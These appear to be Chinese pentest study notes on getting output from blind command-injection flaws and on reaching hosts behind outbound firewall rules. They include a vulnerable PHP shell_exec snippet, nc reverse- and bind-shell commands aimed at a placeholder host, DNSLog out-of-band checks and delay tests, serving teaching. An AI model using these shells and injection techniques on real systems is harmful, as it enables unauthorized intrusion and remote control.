数据不回显-原因解决-反弹&带外&延迟&写文件
原因
代码层面函数调用问题,没有输出测试等
如:RCE漏洞不回显
注:不回显 ≠ 没有执行
传参 x.x.x.x/rce.php?c=ipconfig
?php
$cmd=$_GET['c'];
shell_exec($cmd); //数据不回显,没有把返回值输出到 HTTP 响应(没有输出echo)
system($cmd); //数据回显
?>
过程(先判断,后获取)
- 判断:判断是不是数据不回显并且有漏洞
- 获取:有这个漏洞如何把执行的数据获取到
获取
反弹权限
反弹权限到另一个服务器上使用
注意:必须先判定目标的操作系统
棱角社区-反弹Shell命令一键生成:https://forum.ywhack.com/shell.php
腾讯云开发者社区-反弹shell的技巧总结:https://cloud.tencent.com/developer/article/1906240
nc -e cmd x.x.x.x 7777 //靶机反弹(windows无nc,须上传或下载)
nc -lvp 7777 //攻击机监听
数据带外
让目标服务器通过独立的外部通信渠道把执行结果或请求信息发送到攻击者控制的服务器,从而间接确认漏洞或获取数据(主动出来)
工具:Yakit
- 看“有没有 DNS 请求”:DNSLog 申请一个dnslogkeyon域名,尝试ping ping dnslog地址

- 看“有没有 TCP 连接”:TCP-Portlog 还是尝试ping

- 看“有没有 ICMP 流量”:ICMP-Sizelog 使用nc/ncat(Linux服务器自带)尝试进行连接对应端口

延迟判断
发包看回显时间,burp右下角响应时间以及浏览器的加载时间
Win:延迟3秒
ping -n 3 127.0.0.1
Linux:延迟3秒
ping -c 3 127.0.0.1
写访问文件
写静态文件或写入可访问的文件确定
echo 123 >1.txt
// 然后访问/1.txt
其他:根据环境
文件下载等(反连的意义)
让目标网站访问自己的服务器,查看日志确实有对应ip请求
//在自己服务器启动python web服务,端口8080,-m显示日志
python -m http.server 8888
文件下载命令:棱角社区工具https://forum.ywhack.com/bountytips.php?download
数据不出网-原因解决-正反连接&出入站策略&隧道
环境:Windows外网靶机 Linux外网攻击机
流程
- 判断出入限制 通过命令等,如ICMP用ping
- 判断出入限制的端口和协议
- 分析原因用正向、反向还是隧道
原因
主机或应用防火墙出站限制
入站规则:
0.0.0.0/0 TCP:20,21,22,80,443,3389
所有来源的主机(不限制ip),访问tcp协议的20,21,22,80,443,3389这些端口不受限制
出站规则:
0.0.0.0/0 TCP:80,443
允许服务器访问互联网
解决
利用NC反弹实验:相对于靶机角度
正向连接:本地监听等待对方连接
开启出站策略,采用正向连接
注意绑定的端口不能被服务占用
//绑定CMD到本地6666端口
nc -e cmd -lvvp 6666
//主动连接目标6666
nc x.x.x.x 6666
反向连接:主动给出去,对方监听
开启入站策略,采用反向连接
//绑定CMD到目标IP的6666端口
nc -e cmd x.x.x.x 6666
//等待6666连接
nc -lvvp 6666
隧道技术
开启出站策略,采用其他协议隧道
只允许ICMP协议出站 -> ICMP,DNS等隧道技术
拓展
Windows内网靶机 -> 反向连接
Linux内网攻击机 -> 正向连接
本节知识点&思维导图
数据不回显原因和解决-带外延迟反弹写文件
数据不出网原因和解决-出入站策略正反向连接

